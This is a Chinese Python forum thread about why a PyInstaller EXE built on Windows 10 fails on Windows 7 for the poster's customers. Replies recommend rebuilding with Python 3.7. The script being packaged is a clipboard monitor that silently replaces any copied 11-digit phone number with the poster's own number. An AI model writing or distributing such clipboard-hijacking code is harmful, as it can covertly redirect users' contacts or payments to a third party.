关于打包EXE文件后,所有WIN10电脑运行正常,但是客户在WIN7的系统运行提示缺少DLL
开发环境是WIN10的电脑,PYTHON是3.11.代码如下
import pyperclip
# 替换为你的 11 位数据串
my_data = "152***********"
while True:
# 监听剪贴板内容改变
if pyperclip.waitForNewPaste():
# 获取剪贴板内容
data = pyperclip.paste()
# 如果是 11 位数字串,则替换为你的数据串
if data.isdigit() and len(data) == 11:
pyperclip.copy(my_data)
------------------------------------------------------------------
问题就来了,打包成功,运行也成功, 所有的WIN10电脑都能成功运行
但是EXE发给WIN7用户的时候,就提示DLL缺失
1.需要用什么PYTHON版本开发呀,
2.怎么才能让WIN7的用户 也直接能使用
想让 win7 也能用的话,最高只能支持到 python3.8,python3.8 好像需要补丁
所以最好是 python3.7 isdkz 发表于 2023-3-31 14:39
想让 win7 也能用的话,最高只能支持到 python3.8,python3.8 好像需要补丁
所以最好是 python3.7
用python 3.7在打包一次就可以解决吗?
但是我安装一些模块的时候 始终提示需要更新到最新版本
a2236451 发表于 2023-3-31 14:40
用python 3.7在打包一次就可以解决吗?
但是我安装一些模块的时候 始终提示需要更新到最新版本
对的,你在 python3.7 用 pyinstaller 打包就可以解决了,记住先安装好你的python脚本所需要的库
你说的提示需要更新到最新版本是因为你的pip不是最新版本吧 isdkz 发表于 2023-3-31 14:42
对的,你在 python3.7 用 pyinstaller 打包就可以解决了,记住先安装好你的python脚本所需要的库
你 ...
稍等老哥 我去降低python版本 测试一下然后回复您 a2236451 发表于 2023-3-31 14:44
稍等老哥 我去降低python版本 测试一下然后回复您
ok 要不你试试这个看可行不,不保证成功。
页:
[1]